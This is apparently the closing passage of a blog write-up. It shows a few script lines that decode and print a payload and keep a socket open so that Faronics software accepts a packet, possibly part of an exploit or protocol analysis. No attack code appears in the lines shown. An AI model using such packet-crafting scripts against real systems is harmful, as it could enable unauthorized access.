## Log payload information (debug)
product = decode(payload)
decode_print(product)
## Pause to prevent closing socket or thing will explode
## Faronics will reject the packet if the socket is closed
pause()
Thanks for reading!